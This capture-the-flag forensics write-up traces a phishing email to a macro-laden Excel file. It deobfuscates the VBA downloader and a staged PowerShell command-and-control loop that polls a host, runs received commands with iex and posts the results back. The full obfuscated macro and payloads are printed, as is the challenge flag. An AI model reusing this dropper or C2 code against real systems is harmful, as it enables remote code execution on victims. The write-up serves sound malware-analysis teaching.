Email Analysis
The challenge provided us with a Users.zip
file which contains files within the user's directory. Going into the Downloads
folder to find potential IOCs or Indication of Compromise, there happens to be a folder called Outlook Files
.
Within the folder contains an .eml
file, which stands for Electronic Mail. An extension used when an email is downloaded.
To analyse it, emlAnalyzer
is used, you can get the tool by installing it through pip
Copy pip3 install eml-analyzer
By using emlAnalyzer
followed by the -i
switch and the .eml
file, emlAnalyzer
will parse through the file and extract and display any URLs and attachments that are in the email.
To extract the .zip
file within the email, the --extract-all
switch is added into the command.
To read what is in the email, the --text
is used, which reveals the password to the .zip
file.
Copy password to zip file: CreditsCardForFree
VBA Macro Deobfuscation
Unzipping the .zip
file with the password provided we are given a .xlsm
file called Credits69.xlsm
.
As we know from the challenge description, this file is potentially dangerous and may contain macros which are then executed on the victim's machine. Because of the file type, we can use oletools
, specifically olevba
to extract the macros if there are any within the suspicious file. oletools
can be installed through pip
.
Copy sudo pip3 install oletools
It is best to add the --deobf
for deobfuscation and --decode
switches when using olevba
to deobfuscate and decode any strings if any.
Copy olevba --deobf --decode Credits69.xlsm
The following VBA Macros were extracted:
Copy Sub Auto_Open()
Workbook_Open
End Sub
Sub AutoOpen()
Workbook_Open
End Sub
Sub WorkbookOpen()
Workbook_Open
End Sub
Sub Document_Open()
Workbook_Open
End Sub
Sub DocumentOpen()
Workbook_Open
End Sub
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End If
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End Function
Sub Workbook_Open()
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Dim ¹®µ´¾¥»³ºª´¡¹®¶¶®¦·³«¢¢¢¹µ¹½¸¦§¥§·°°¡µ¼¤¿©¦¸£¥¥¹¦¶¨¹«©§µ¡´²·°º¢·¡¸²µ¤°²³¯£«¶£ As String
Dim °»»¦¡½º®¤¼º¬³¤³º¸¶®¨½®©µ«¢´¾´··¦«º¬º°¥²ª¹«¿º¼£º·¦¢¬°¢¾§µ²° As String
Dim £©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦ As Long
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Dim ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ As Date
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Set ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸² = CreateObject("microsoft.xmlhttp")
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³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Open "get", ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("ܳ³Bb://B_b³Ekài~B#/jàEÄ/²_Ä/À60äm_§À"), False
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´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².responseBody
If ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Status = 200 Then
Set ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼ = CreateObject("adodb.stream")
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Open
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Close
End If
²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬)
Else
MsgBox ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("åxi'³P³²ÛP³xP²¿iPQEPk²x")
End If
End Sub
From here, it's a mess I know, and there are no tools to deobfuscate this automatically. For that reason, manual deobfuscation is needed. Don't panic, this can be simplified through a methodology, which is to replace variable names and function names. If you know any programming languages, you would know functions will start with a Function
tag in some programming languages, followed by the function name and parameters for arguments.
So, by replacing the variables and function names one by one, you will get this function which is used repetitively within the script.
Copy Function function1(function1_arg)
variable_3 = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂĂÄÅ̉ÓÔƠÖÙÛÜàáâăäåض§Ú¥"
variable_4 = "ăXL1lYU~Ùä,Ca²ZfĂ@dO-cq³áƠsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(̉Sw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
For y = 1 To Len(function1_arg)
variable_2 = InStr(variable_3, Mid(function1_arg, y, 1))
If variable_2 > 0 Then
variable_5 = Mid(variable_4, variable_2, 1)
variable_6 = variable_6 + variable_5
Else
variable_6 = variable_6 + Mid(function1_arg, y, 1)
End If
Next
function1 = variable_6
For variable_7 = 1 To Len(variable_1)
variable_1 = variable_7
Next
For variable_8 = 2 To Len(variable_9)
variable_9 = 2
Next
For variable_10 = 3 To Len(variable_11)
variable_11 = variable_10
Next
For variable_12 = 4 To Len(variable_13)
variable_13 = 2
Next
End Function
I will let ChatGPT tell you what it does:
variable_3
and variable_4
are strings that represent a mapping of characters. Each character in variable_3
corresponds to a character at the same position in variable_4
.
The function iterates over each character in the input string function1_arg
.
For each character in function1_arg
, it finds the position of the character in variable_3
using InStr
.
If the character is found in variable_3
(variable_2 > 0
), it takes the corresponding character from variable_4
and appends it to variable_6
.
If the character is not found in variable_3
, it appends the original character from function1_arg
to variable_6
.
Finally, the function returns the transformed string stored in variable_6
.
The last part of the function contains several For
loops that do not seem to serve any meaningful purpose since they reassign values to variable_1
, variable_9
, variable_11
, and variable_13
but do not affect the outcome of the function. These loops can be considered redundant or possibly a mistake.
So the function was then simplified by ChatGPT:
Copy Function function1(function1_arg)
Dim variable_3 As String
Dim variable_4 As String
Dim variable_6 As String
Dim variable_2 As Integer
Dim y As Integer
variable_3 = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂĂÄÅ̉ÓÔƠÖÙÛÜàáâăäåض§Ú¥"
variable_4 = "ăXL1lYU~Ùä,Ca²ZfĂ@dO-cq³áƠsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(̉Sw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
For y = 1 To Len(function1_arg)
variable_2 = InStr(variable_3, Mid(function1_arg, y, 1))
If variable_2 > 0 Then
variable_6 = variable_6 + Mid(variable_4, variable_2, 1)
Else
variable_6 = variable_6 + Mid(function1_arg, y, 1)
End If
Next y
function1 = variable_6
End Function
I then told ChatGPT to give me a Python script that simulates what the VBA script does:
Copy def function1(function1_arg):
variable_3 = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂĂÄÅ̉ÓÔƠÖÙÛÜàáâăäåض§Ú¥"
variable_4 = "ăXL1lYU~Ùä,Ca²ZfĂ@dO-cq³áƠsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(̉Sw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
variable_6 = ""
for char in function1_arg:
variable_2 = variable_3.find(char)
if variable_2 != -1:
variable_5 = variable_4[variable_2]
variable_6 += variable_5
else:
variable_6 += char
return variable_6
# Example usage
input_string = "Hello, World!"
output_string = function1(input_string)
print(f"Input: {input_string}")
print(f"Output: {output_string}")
Going through where the function was used and the strings parsed into the function one by one, we come across this string when decoded.
Copy Input: ܳ³Bb://B_b³Ekài~B#/jàEÄ/²_Ä/À60äm_§À
Output: https://pastebin.pl/view/raw/8cf50a28
PowerShell Deobfuscation
Going to that link reveals a PowerShell script:
Copy & ( $sHEllid[1]+$sheLLiD[13]+'X')( NEW-obJEct Io.cOMPReSSiON.DEFlAteStrEAM( [SyStem.iO.mEMOrySTream] [SysteM.cOnVerT]::FRomBase64STRINg( 'JAAwAEwARABFAHgATgBpACAAPQAgACcASgBIAEYAMwBaAFcAUgBtAFkAWABvAGcAUABTAEEAbwBNAFQAQQAwAEwARABFAHgATgBpAHcAeABNAFQAWQBzAE0AVABFAHkATABEAEUAeABOAFMAdwAxAE8AQwB3ADAATgB5AHcAMABOAHkAdwB4AE0AVABJAHMATwBUAGMAcwBNAFQARQAxAEwARABFAHgATgBpAHcAeABNAEQARQBzAE8AVABnAHMATQBUAEEAMQBMAEQARQB4AE0AQwB3ADAATgBpAGsANwBKAEgARgAzAFoAVwBSAG0AWQBYAG8AZwBLAHoAMABnAEsARABFAHgATQBpAHcAeABNAEQAZwBzAE4ARABjAHMATQBUAEUANABMAEQARQB3AE4AUwB3AHgATQBEAEUAcwBNAFQARQA1AEwARABRADMATABEAEUAeABOAEMAdwA1AE4AeQB3AHgATQBUAGsAcwBOAEQAYwBzAE8AVABnAHMATQBUAEEAdwBMAEQAawA1AEwARABrADMATABEAFEANQBMAEQAVQAxAEwARABRADQATABEAFUAdwBLAFQAcwBrAFoAMgBGAHMAWgBpAEEAOQBJAEYAdABUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AEYAYgBtAE4AdgBaAEcAbAB1AFoAMQAwADYATwBrAEYAVABRADAAbABKAEwAawBkAGwAZABGAE4AMABjAG0AbAB1AFoAeQBnAGsAYwBYAGQAbABaAEcAWgBoAGUAaQBrADcASgBIAE0AOQBKAHoARQB5AE4AeQA0AHcATABqAEEAdQBNAFQAbwA0AE0ARABnAHcASgB6AHMAawBhAFQAMABuAFoAVwBWAG0ATwBHAFYAbQBZAFcATQB0AE0AegBJAHgAWgBEAFEAMgBOAFcAVQB0AFoAVABsAGsATQBEAFUAegBZAFQAYwBuAE8AeQBSAHcAUABTAGQAbwBkAEgAUgB3AE8AaQA4AHYASgB6AHMAawBkAGoAMQBKAGIAbgBaAHYAYQAyAFUAdABWADIAVgBpAFUAbQBWAHgAZABXAFYAegBkAEMAQQB0AFYAWABOAGwAUQBtAEYAegBhAFcATgBRAFkAWABKAHoAYQBXADUAbgBJAEMAMQBWAGMAbQBrAGcASgBIAEEAawBjAHkAOQBsAFoAVwBZADQAWgBXAFoAaABZAHkAQQB0AFMARwBWAGgAWgBHAFYAeQBjAHkAQgBBAGUAeQBKAFkATABUAFkANABNAEcAUQB0AE4ARABkAGwATwBDAEkAOQBKAEcAbAA5AE8AMwBkAG8AYQBXAHgAbABJAEMAZwBrAGQASABKADEAWgBTAGwANwBKAEcATQA5AEsARQBsAHUAZABtADkAcgBaAFMAMQBYAFoAVwBKAFMAWgBYAEYAMQBaAFgATgAwAEkAQwAxAFYAYwAyAFYAQwBZAFgATgBwAFkAMQBCAGgAYwBuAE4AcABiAG0AYwBnAEwAVgBWAHkAYQBTAEEAawBjAEMAUgB6AEwAegBNAHkATQBXAFEAMABOAGoAVgBsAEkAQwAxAEkAWgBXAEYAawBaAFgASgB6AEkARQBCADcASQBsAGcAdABOAGoAZwB3AFoAQwAwADAATgAyAFUANABJAGoAMABrAGEAWAAwAHAATABrAE4AdgBiAG4AUgBsAGIAbgBRADcAYQBXAFkAZwBLAEMAUgBqAEkAQwAxAHUAWgBTAEEAbgBUAG0AOQB1AFoAUwBjAHAASQBIAHMAawBjAGoAMQBwAFoAWABnAGcASgBHAE0AZwBMAFUAVgB5AGMAbQA5AHkAUQBXAE4AMABhAFcAOQB1AEkARgBOADAAYgAzAEEAZwBMAFUAVgB5AGMAbQA5AHkAVgBtAEYAeQBhAFcARgBpAGIARwBVAGcAWgBUAHMAawBjAGoAMQBQAGQAWABRAHQAVQAzAFIAeQBhAFcANQBuAEkAQwAxAEoAYgBuAEIAMQBkAEUAOQBpAGEAbQBWAGoAZABDAEEAawBjAGoAcwBrAGQARAAxAEoAYgBuAFoAdgBhADIAVQB0AFYAMgBWAGkAVQBtAFYAeABkAFcAVgB6AGQAQwBBAHQAVgBYAEoAcABJAEMAUgB3AEoASABNAHYAWgBUAGwAawBNAEQAVQB6AFkAVABjAGcATABVADEAbABkAEcAaAB2AFoAQwBCAFEAVAAxAE4AVQBJAEMAMQBJAFoAVwBGAGsAWgBYAEoAegBJAEUAQgA3AEkAbABnAHQATgBqAGcAdwBaAEMAMAAwAE4AMgBVADQASQBqADAAawBhAFgAMABnAEwAVQBKAHYAWgBIAGsAZwBLAEYAdABUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AEYAYgBtAE4AdgBaAEcAbAB1AFoAMQAwADYATwBsAFYAVQBSAGoAZwB1AFIAMgBWADAAUQBuAGwAMABaAFgATQBvAEoARwBVAHIASgBIAEkAcABJAEMAMQBxAGIAMgBsAHUASQBDAGMAZwBKAHkAbAA5AEkASABOAHMAWgBXAFYAdwBJAEQAQQB1AE8AWAAwAD0AJwA7ACQAMgBWAEMAWQBYAE4AcABZADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAMABMAEQARQB4AE4AaQApACkAOwAkAHMAawBjAGoAMQBQAGQAWABRAHQAIAA9ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBTAGUAYwB1AHIAZQBTAHQAcgBpAG4AZwAgAC0AUwB0AHIAaQBuAGcAIAAkADIAVgBDAFkAWABOAHAAWQAxACAALQBBAHMAUABsAGEAaQBuAFQAZQB4AHQAIAAtAEYAbwByAGMAZQA7ACQAVgB6AGQAQwBBAHQAVgBYAEoAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFAAUwBDAHIAZQBkAGUAbgB0AGkAYQBsACgAJwBkAFcAVgB6AGQAZAB6AEMAQQB0ACcALAAgACQAcwBrAGMAagAxAFAAZABYAFEAdAApADsAaQBlAHgAIAAkAFYAegBkAEMAQQB0AFYAWABKAHAALgBHAGUAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAKAApAC4AUABhAHMAcwB3AG8AcgBk' ) , [sySteM.IO.ComprESsiON.cOmpresSiONMODe]::dEcomPrEss)|fOReach-OBJECt{NEW-obJEct iO.sTReAMrEAder( $_ , [TExT.EncOdiNg]::AscIi)} | fOREacH-obJeCt{$_.reADToend( )})
If you ever seen typical PowerShell payloads before, they involve Base64 encoding, so let's copy the Base64 encoded string into CyberChef and see what it gives us!
Copy $0LDExNi = 'JHF3ZWRmYXogPSAoMTA0LDExNiwxMTYsMTEyLDExNSw1OCw0Nyw0NywxMTIsOTcsMTE1LDExNiwxMDEsOTgsMTA1LDExMCw0Nik7JHF3ZWRmYXogKz0gKDExMiwxMDgsNDcsMTE4LDEwNSwxMDEsMTE5LDQ3LDExNCw5NywxMTksNDcsOTgsMTAwLDk5LDk3LDQ5LDU1LDQ4LDUwKTskZ2FsZiA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OkFTQ0lJLkdldFN0cmluZygkcXdlZGZheik7JHM9JzEyNy4wLjAuMTo4MDgwJzskaT0nZWVmOGVmYWMtMzIxZDQ2NWUtZTlkMDUzYTcnOyRwPSdodHRwOi8vJzskdj1JbnZva2UtV2ViUmVxdWVzdCAtVXNlQmFzaWNQYXJzaW5nIC1VcmkgJHAkcy9lZWY4ZWZhYyAtSGVhZGVycyBAeyJYLTY4MGQtNDdlOCI9JGl9O3doaWxlICgkdHJ1ZSl7JGM9KEludm9rZS1XZWJSZXF1ZXN0IC1Vc2VCYXNpY1BhcnNpbmcgLVVyaSAkcCRzLzMyMWQ0NjVlIC1IZWFkZXJzIEB7IlgtNjgwZC00N2U4Ij0kaX0pLkNvbnRlbnQ7aWYgKCRjIC1uZSAnTm9uZScpIHskcj1pZXggJGMgLUVycm9yQWN0aW9uIFN0b3AgLUVycm9yVmFyaWFibGUgZTskcj1PdXQtU3RyaW5nIC1JbnB1dE9iamVjdCAkcjskdD1JbnZva2UtV2ViUmVxdWVzdCAtVXJpICRwJHMvZTlkMDUzYTcgLU1ldGhvZCBQT1NUIC1IZWFkZXJzIEB7IlgtNjgwZC00N2U4Ij0kaX0gLUJvZHkgKFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoJGUrJHIpIC1qb2luICcgJyl9IHNsZWVwIDAuOX0=';$2VCYXNpY1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($0LDExNi));$skcj1PdXQt = ConvertTo-SecureString -String $2VCYXNpY1 -AsPlainText -Force;$VzdCAtVXJp = New-Object System.Management.Automation.PSCredential('dWVzddzCAt', $skcj1PdXQt);iex $VzdCAtVXJp.GetNetworkCredential().Passwor
PowerShell uses a different encoding than the usual UTF-8, instead it uses UTF-16LE
Once decoded, there is a second set of Base64 encoded strings! So, let's rinse and repeat.
Copy $qwedfaz = (104,116,116,112,115,58,47,47,112,97,115,116,101,98,105,110,46);$qwedfaz += (112,108,47,118,105,101,119,47,114,97,119,47,98,100,99,97,49,55,48,50);$galf = [System.Text.Encoding]::ASCII.GetString($qwedfaz);$s='127.0.0.1:8080';$i='eef8efac-321d465e-e9d053a7';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/eef8efac -Headers @{"X-680d-47e8"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/321d465e -Headers @{"X-680d-47e8"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/e9d053a7 -Method POST -Headers @{"X-680d-47e8"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.9}
This time, there is no need to decode the text. However, we can see what seems to be a PowerShell script that uses the Invoke-WebRequest
module to send a POST
request to a C2 server. What strikes out to me is the $qwedfaz
variable which stores an array of decimals.
Combining all the decimals together and decoding it through CyberChef gives us a URL.
Copy https://pastebin.pl/view/raw/bdca1702
Going to that URL gives us the flag!
Copy flag: OSCTF{JU5t_n0rmal_eXE1_f113_w1th_C2_1n51De}